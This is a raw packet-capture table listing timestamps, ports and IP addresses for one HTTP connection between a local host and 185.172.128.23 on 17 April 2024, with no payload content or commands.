Apr 17, 2024 06:57:05.549026966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549175024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549212933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549228907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549243927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549248934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549259901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549273968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549274921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549274921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549290895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549304962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549304962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549307108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549321890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549324036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549338102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549348116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549349070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549354076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549366951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549371004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549384117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549387932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549402952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549405098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549421072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549427986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549427986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549438000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549454927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549472094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549483061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549483061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549489021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549505949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549508095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549526930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549530029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549547911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549563885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549575090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549575090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549575090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549581051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549597025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.549608946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.549638987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.550729036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.550789118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.550822020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.550841093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.550857067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.550875902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.550908089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.550908089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551265001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551281929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551297903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551315069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551317930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551348925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551348925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551371098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551455021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551470995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551486969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551502943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551506996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551518917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551533937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551534891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551533937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551552057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551553011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551568985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551584959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551601887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551601887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551601887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551618099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551625013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551635027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551651955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551654100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551667929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551683903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551690102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551701069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551707983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551717043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551732063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551733971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551750898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551768064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.551779032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551779032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.551806927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552088022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552113056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552129984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552138090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552172899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552172899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552212000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552228928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552259922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552284956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552294970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552311897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552341938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552342892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552361965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552382946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552386045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552403927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552421093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552433968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552438974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.552459002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552459002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.552476883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553028107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553072929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553081989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553090096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553106070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553124905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553128958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553129911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553148985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553164005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553209066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553225040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553240061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553256035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553268909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553275108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553288937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553292036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553308010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553309917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553323984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553337097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553358078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553359032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553384066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553400993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553406000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553417921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553426027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553435087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553442001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553452969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.553457975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553474903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.553489923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555136919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555152893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555169106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555188894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555211067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555214882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555214882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555227995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555246115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555263996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555268049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555268049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555280924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555288076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555313110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555313110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555351019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555366993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555382967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555397034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555401087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555416107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555417061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555434942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555439949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555439949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555452108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555459023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555468082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555478096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555485964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555494070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555509090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555516005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555532932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555548906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555552006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555552006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555565119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555572033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555582047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555588007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555598021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555607080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555614948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555627108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555632114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555648088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555653095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555653095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555664062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555671930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555680990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555690050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555699110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555706978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555715084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555722952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555731058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555747986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555759907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555759907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555764914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555783033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555785894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555785894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555799961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555804968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555818081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555825949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555835009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555840969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555851936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555859089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555870056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555875063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555886030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555891037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555903912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555908918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555921078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555926085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555937052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555946112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555964947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555982113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.555984020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.555999041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556014061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556029081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556030989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556046009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556056976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556056976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556062937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556076050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556080103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556094885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556097984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556121111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556130886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556130886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556138039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556154013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556159973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556159973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556170940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556179047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556189060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556196928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556205988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556216955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556222916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556240082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556242943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556242943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556257963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.556262016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556304932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.556304932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.760282040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.760523081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:06.065017939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:06.065099955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:06.268444061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:06.268467903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:06.268481016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:06.268517017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:06.700294018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:06.700635910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:06.802896023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:06.802896023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:07.006422997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:07.006475925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:07.720345020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:07.720873117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:07.753384113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:07.956970930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:08.148288965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:08.148417950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:08.485096931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:08.690996885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:08.814956903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:08.815399885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.051362038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.254889011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371499062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371525049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371566057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371582985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371603012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371685028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371685028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371798038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371818066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371839046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371850967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371857882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371871948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371892929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371905088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371936083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.371948957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.371983051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:09.575377941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575407982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575417995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575426102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575437069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575444937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575454950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575464964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575473070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575481892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575489998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:09.575496912 CEST	80	49730	185.172.128.23	192.168.2.4
